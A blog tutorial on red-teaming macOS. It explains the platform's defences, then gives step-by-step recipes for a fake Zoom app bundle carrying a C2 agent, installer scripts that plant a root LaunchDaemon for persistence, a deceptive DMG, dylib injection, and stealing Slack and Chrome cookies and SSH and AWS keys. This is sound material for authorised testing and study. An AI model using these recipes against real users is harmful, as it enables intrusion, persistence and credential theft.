Red Teaming macOS 101

Nick Frischkorn
16 min readFeb 27, 2023

This post covers basic macOS security concepts and hopefully serves as an introduction to red teaming macOS environments.

Topics Covered

  • macOS Security Overview
    - Gatekeeper & XProtect
    - Hardened Runtime
    - System Integrity Protection (SIP)
    - Transparency, Consent, and Control (TCC)
    - macOS Sandbox
    - Keychain
  • Initial Access Payloads & Persistence
    - Application Bundles
    - Installer Packages
    - Disk Images (DMG)
  • Privilege Escalation & Post Exploitation
    - Situational Awareness
    - Stealing Cookies
    - Clipboard Monitoring
    - Code Injection
    - In-Memory Mach-O Loading

Credits/Resources for Learning

Nothing within this post is “new” research, but instead consolidated information about the above topics, from the below resources, in a single place for easier reading and introduction.

macOS Security Overview

Gatekeeper & XProtect

Gatekeeper is a security mechanism designed to only allow trusted applications to run on systems, similarly to SmartScreen and MOTW on Windows. When executable files are downloaded from the internet they are marked with the com.apple.quarantine attribute, which triggers gatekeeper when the file is ran.

If the executable is notarized, Gatekeeper verifies the code signature of the file and presents a prompt to the user to confirm they want to run the file.

Double-clicking a notarized app

If the executable is not notarized Gatekeeper will present a prompt to the user informing them the file cannot be ran as it is unsigned. To run unsigned executables the user must right-click the file, then click open, instead of double-clicking.

Double-clicking an unsigned file
Right-clicking to open an unsigned file

Following the verification of the code signature, XProtect, which is macOS’ built-in antivirus will scan the file for malware. XProtect utilizes YARA rules which can can be found via locate XProtect.yara and are for the most part useless unless you are running default Metasploit payloads. Additionally, XProtect only scans for malware under three conditions

  • The file is being ran for the first time
  • The file’s hash has changed
  • XProtect’s YARA rules have been updated

Lastly, if you would like to get an app notarized, you can sign up for the Apple Developer Program to get a code signing certificate which costs $99/year. Once you’re signed up, you can then sign your app and submit it to Apple where it will undergo a security scan and check that other requirements such as the hardened runtime (covered in the next section) is enabled. If you submit malware it is possible that Apple’s security scan may overlook it and still notarize your app, however, your certificate will likely be revoked shortly after.

Hardened Runtime

Hardened runtime is a feature which can be enabled on apps to protect against code injection via dylib hijacking, environment variables, and task port injection. One example of how hardened runtime protects against injection is by requiring that any dylib loaded into the process is signed with the same certificate as the app itself. This of course causes issues when an application needs to load 3rd party dylibs, thus, apps can have certain entitlements to remove some of these restrictions.

We can list apps entitlements via codesign -d --entitlements :- <file> or the list_entitlements command in Poseidon, and if any of the below are present we may be able to inject into the app:

  • The com.apple.security.cs.disable-library-validation entitlement allows any dylib, signed or unsigned, to be loaded into the process. Depending on the location of the dylibs the app loads, this may open the door for dylib hijacking.
  • The com.apple.security.cs.allow-dyld-environment-variables entitlement allows dylibs to be loaded from the DYLD_INSERT_LIBRARIES environment variable. However, this entitlement alone does not remove the previously mentioned code signing requirements. If this entitlement is present along with the disable-library-validation entitlement, you can inject into the app via DYLD_INSERT_LIBRARIES=malicious.dylib ./app similarly to LD_PRELOADon Linux.
  • The com.apple.security.get-task-allow entitlement allows other apps to get the task port of your app, which is similar to obtaining a handle to a process on Windows. It should be noted that in order to access a task port your code must run as root. With the task port you can then perform your classic process injection via writing shellcode and creating a thread.
Listing Obsidian’s entitlements

From a red team perspective being able to inject code into another application is particularly useful as it can allow you to inherit entitlements (covered more in the TCC section) such as access to certain folders you previously did not have.

System Integrity Protection (SIP)

SIP aka “rootless” protects system files from modifications. Essentially even as the root user we cannot alter certain system files such as the executables within /bin/ . Files protected by SIP can be identified via the restricted flag.

SIP can be disabled via csrutil disable , however, it requires restarting the device in recovery mode, thus, this is usually out of the question from a red team perspective.

Transparency, Consent, and Control (TCC)

TCC is macOS privacy feature implemented in v10.14+ which prompts the user to explicitly grant permissions when an application tries to access certain resources such as the camera, and certain folders including Desktop, Downloads, Documents , and drives/volumes.

TCC prompt

Attempting to access a TCC protected resource without permissions could lead to accidentally generating a prompt, alerting the user of your presence, and ultimately your engagement ending sooner than expected. Below are some useful files which are not protected by TCC:

  • Hidden files & folders in the home directory — ~/.aws/* , ~/.ssh/* , ~/.bash_history , ~/.zsh_history
  • User application data — ~/Library/Application Support/*
  • Cookie files — ~/Library/Application Support/Google/Chrome/Default/Cookies , ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

TCC permissions can be seen by browsing to “Settings” then “Privacy & Security”. Additionally, what permissions each app has is stored and tracked in TCC databases. The system TCC database is located at /Library/Application Support/com.apple.TCC/TCC.db and each user has a TCC database located at ~/Library/Application Support/com.apple.TCC/TCC.db .

The user’s TCC database requires full disk access (FDA) to interact with, however, if we can interact with it, we can then modify it to grant ourselves access to other resources. We can check if we have FDA without prompting the user by running file against the user’s TCC database.

With FDA
Without FDA

TCC bypasses are not particularly “rare” and I recommend checking out Csaba Fitzl’s blog to stay up to date with old and new bypasses.

macOS Sandbox

The macOS sandbox is a feature which developers can opt their apps into if they are released outside of the App Store, and mandatory for all apps downloaded directly from the App Store. Apps which have opted-in to the sandbox feature will have the com.apple.security.app-sandbox entitlement, and as the name implies, will force them to run inside a sandbox. Apps running in a sandbox have extremely limited access to the system such as the ability to read or write files to the disk. For this reason, certain attack paths on macOS such as phishing via macros are not enticing. As Microsoft Office apps opt-in to the sandbox and will prevent you from persisting and looting.

Keychain

The keychain can be compared to LSASS on Windows and holds secrets such as passwords and keys for apps. For example, an application may encrypt the files it stores on disk, and the decryption key for these files is stored within the keychain. The system keychain can be found at /Library/Keychains/System.keychain and user’s keychain can be found at ~/Library/Keychains/login.keychain-db .

You can download the user’s keychain, although, secrets within will be encrypted with the user’s password. Depending on if you have the user’s password you can leverage Chainbreaker to either extract secrets, or dump the hash of the keychain password via --dump-keychain-password-hash into a format for hashcat which is extremely slow to crack.

Lastly, each entry within the keychain has associated ACLs and permissions which can be viewed within the Keychain Access app. Trusted applications are apps which can perform operations on the keychain entry without prompting the user. This list can be found under the “Access Control” tab, and an interesting case is where the list is “NULL”, meaning that all apps are trusted, not to be confused with an empty list which simply means no apps are trusted.

If you are running in the context of a trusted app or the list is NULL, and you have any of the below authorizations, you may be able to extract secrets without prompting the user:

  • ACLAuthorizationDecrypt
  • ACLAuthorizationExportClear
  • ACLAuthorizationExportWrapped
  • ACLAuthorizationAny

For more information on abusing misconfigured keychain ACLs I recommend watching Cody Thomas’ OBTS talk.

Initial Access Payloads & Persistence

If you are interested in learning about payload types for macOS alternative to those listed below, I recommend checking out the Mystikal project and associated blog post.

Additionally, it should be noted that EDR products on macOS are not mature and essentially function as only a logging product. Therefore, you can typically use any default C2 agent besides from Metasploit, and not have to worry about the EDR catching your payload.

Application Bundles

Application bundles (.app) are one of the most common program types and are the format almost all end-user software is released as. App bundles are stored within /Applications/ and displayed to you when you click into Launchpad. Referencing Apple’s documentation, a minimal app bundle typically has the following structure:

AppName.app/
Contents/
Info.plist # App config info
MacOS/ # Contains the app's executable file
Resources/ # Fonts, images, sounds, icons, etc.

Let’s start with creating a basic app bundle payload. For this demo we’ll use Poseidon to create a fake Zoom app, however, you can alternatively use any of the Mythic agents with macOS support.

1 - Create the app bundle folder structure

mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources

2 - Create the Poseidon payload

Next, since both Intel and Silicon macs are now common, we can create both an AMD and ARM Poseidon payload, and then combine them into a universal Mach-O which can run on either architecture via lipo -create <arm-payload> <amd-payload> -output <universal-payload> and then place it into the MacOS directory.

Building a universal Poseidon payload

3 - Create the Info.plist file.

Referring to Apple’s developer docs we’ll need to specify a few keys:

  • CFBundleExecutable — The name of the main executable within the MacOS directory (PoseidonPayload)
  • CFBundleIconFile — The name of the application image (ZoomImageForPayload)
  • CFBundleIdentifier — The string which unique identifies your application on the system (com.examplepayload.Zoom)
  • CFBundleName — The name of your app (FakeZoom)
  • CFBundleVersion — The build version number of your app (1.0.0)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>PoseidonPayload</string>
<key>CFBundleIconFile</key>
<string>ZoomImageForPayload</string>
<key>CFBundleIdentifier</key>
<string>com.examplepayload.Zoom</string>
<key>CFBundleName</key>
<string>FakeZoom</string>
<key>CFBundleVersion</key>
<string>1.0.0</string>
</dict>
</plist>

There are many additional keys you can specify in your Info.plist file for different effects such as the LSUIElement key which determines whether or not the application will appear in the dock, however, to keep this demo simple we’ll stick with the above.

4 - Select an icon for your app

Since we are creating a fake Zoom app, we can just copy Zoom’s icns file out of the /Applications/ directory (if it’s installed) and into Resources/ZoomImageForPayload, however, you can alternatively use any icon you want.

App folder structure

Installer Packages

Installer packages (.pkg) are xar archives and another common program type seen when software needs to be installed with root privileges. While installer packages can contain a main payload to run when opened, an alternative is to leverage “preinstall” and “postinstall” scripts, which the name implies, will run a script before and after installing.

For this example we’ll create an installer package which uses these scripts to register a LaunchDaemon for persistence as the root user when opened.

1 - Create the installer package folder structure

mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall

Be sure to make your pre and postinstall scripts executable before packaging them otherwise your payload will fail.

2 - Create a plist file to register as a LaunchDaemon

There’s really only one value needed within this plist file which is ProgramArguments and essentially specifies what to run when the LaunchDaemon is triggered. Take note that ProgramArguments is also an array, so you could pass additional string values such as flags if needed.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.examplepayload.persistence</string>
<key>ProgramArguments</key>
<array>
<string>/Library/Application Support/PoseidonPayload</string>
</array>
<key>KeepAlive</key>
<true/>
</dict>
</plist>

We’ll reuse the universal Poseidon payload we created from the app bundle section, and we can move this plist file into scripts/files/com.examplepayload.persistence.plist along with the payload to scripts/files/PoseidonPayload .

3 - Create the pre and postinstall scripts

These scripts are just regular bash scripts, however, they must start with #!/bin/bash and end with exit 0 . We’ll use the preinstall script to copy our plist and payload to the correct locations on the disk, and then the postinstall script to register the LaunchDaemon.

#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0

4 - Create the installer package

To create the installer package from these scripts we can simply run pkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg

We can unload the LaunchDaemon by running launchctl unload com.examplepayload.persistence.plist and it should be noted that dropping the payload to /Library/Application Support/ was purely preference, and it can be dropped elsewhere.

LaunchDaemons represent only one form of persistence on macOS and if you’re interested in other forms, I recommend checking out SentinelOne’s blog.

Disk Images (DMG)

DMGs are compressed volumes which can contain other payload formats. The benefit of delivering your payload within a DMG file is that you can add graphical elements to aid in socially engineering the user to right-click, then open your payload to bypass Gatekeeper, as the DMG itself does not invoke Gatekeeper.

To build a genuine looking DMG we’ll need to create a custom background image, I prefer to leverage legitimate software or company wallpaper along with draw.io, but you can create your own as you like.

For this demo, I went with this image as the base, and created this:

To start we can create a disk image by opening Disk Utility and selecting “File” then “New Image” then “Blank Image…”

We can select the name of our volume, and then change the “Format” to “Mac OS Extended (Journaled)”.

Open the .dmg file, which is “example-payload.dmg” in my case, and a volume will appear in your Desktop, then open the volume, which is “example” in my case. To show hidden files on macOS you can click “[shift] + [command] + [period]”.

Move your background image into the volume /Volumes/<volume-name>/ as a hidden file, along with your payload. For this example we can reuse the app bundle from the above section.

Next, we can click into the volume and select “View” followed by “Show View Options”.

Under “Background” select “Picture”, then double click the “Drag image here” box. A new Finder window will open and you can select the background image from within the volume. If you do not choose an image contained within the volume it may cause errors. Additionally, we can resize the icon via “Icon Size”.

Resize the window to fit your background, and center the app bundle.

Once you are content with the layout, and while the Finder window is still open, right click the volume on the Desktop, and click “Eject”.

Re-open Disk Utility and select “Images” then “Convert…”

Select your DMG file, then select “Encryption: none” and “Image Format: compressed”

Of course this demo doesn’t make too much sense given it is a Chrome background, with a Zoom application (lol), however, hopefully you get the point.

One final thing to take note of regarding payloads is that files downloaded via your browser will append the com.apple.metadata:kMDItemWhereFroms attribute, which lists where the file was downloaded from. If you are downloading your Poseidon payload directly from Mythic in your browser before packaging it, this can lead to accidentally revealing the location of your team server. You can remove this attribute via xattr -d com.apple.metadata:kMDItemWhereFroms <file> .

Privilege Escalation & Post Exploitation

This section is not exhaustive of all activities you can perform after getting a shell and is intended to only give a general idea of post-ex on macOS.

Situational Awareness

You can start with some situational awareness checks on the system, by either running HealthInspector or SwiftBelt, or manually browsing config files. Many of these files will be plist files in binary format and to make them readable you can use plutil . Some files of interest could be:

  • What apps the user has in the dock? — plutil -p ~/Library/Preferences/com.apple.dock.plist
  • What files the user recently interacted with? — plutil -p ~/Library/Preferences/com.apple.finder.plist
  • What version of macOS your on? — plutil -p /System/Library/CoreServices/SystemVersion.plist

Stealing Cookies

Next, you can start downloading some files which are not protected by TCC from the disk, including the user’s bash or zsh history, ssh keys, cloud keys (AWS, GCP, etc), keychain, and cookies.

Given you are on a macOS it is likely the organization for your engagement may be a tech company or startup, and Slack is common to see in these environments. If so, you can download the following files:

  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json
  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

With these two files downloaded, you can then copy them to your local mac, open Slack, and you will be authenticated as the user. From here you can either manually search Slack or use SlackPirate.

Next, you can target browser cookies, for this example we’ll use Google Chrome. If you have the user’s password either from finding it within their bash or zsh history or maybe running a password prompter, you can download ~/Library/Application Support/Google/Chrome/Default/Cookies and decrypt the file offline. Alternatively, if you do not have the user’s password, you can use tools such as WhiteChocolateMacademiaNut to start Chrome with remote debugging enabled and then dump the cookies over a websocket. Again, since mac EDRs are not mature, dropping garbled tools to disk shouldn’t be much of a concern.

With access to browser cookies you can then open a SOCKS via Poseidon’s built-in command or drop chisel, and browse internal sites. Specifically, you may want to target internal documentation sites such as their Confluence and their internal code repositories for finding privileged credentials.

Clipboard Monitoring

On macOS every time the clipboard contents have changed a counter gets incremented, thus, we can monitor the value of the counter in an interval and fetch the clipboard’s contents if it has changed. Poseidon has a built in command clipboard_monitor which we can leverage for this.

Some additional things to note:

  • The clipboard_monitor command filters to only retrieve plain text, so if the user copies a large binary to their clipboard we do not have to worry about sending large amounts of traffic over our C2.
  • The root user does not have access to the clipboard, so any clipboard monitoring tools must be ran in a user context.

Code Injection

As previously mentioned in the harden runtime section, being able to inject code into an application is useful from a red team perspective as it can potentially grant you additional entitlements and access to resources you previously did not have.

For example, your initial payload may not have access to the Downloads folder, however, if you can inject code into Chrome which might have the com.apple.security.files.downloads.read-write entitlement, you would then be able to browse the Downloads folder.

To find targets for code injection you can run Poseidon’s list_entitlements command which will search for running processes with the entitlements mentioned in the hardened runtime section.

From here you can then inspect each process to find a potential target.

One other form of code injection not previously mentioned is “electron hijacking”, which is covered extensively by Adam Chester in this blog. Essentially you can leverage the ELECTRON_RUN_AS_NODE environment variable to spawn a process as a child of an electron app, and because child processes inherit the TCC permissions of their parent, you can potentially gain their entitlements.

In-Memory Mach-O Loading

While definitely not needed with the current state of macOS EDRs, it is possible to run Mach-Os in-memory. The APIs used to perform in-memory loading vary between OS versions so I will not cover this, but instead recommend checking out Justin Bui’s post and Adam Chester’s post.

--

--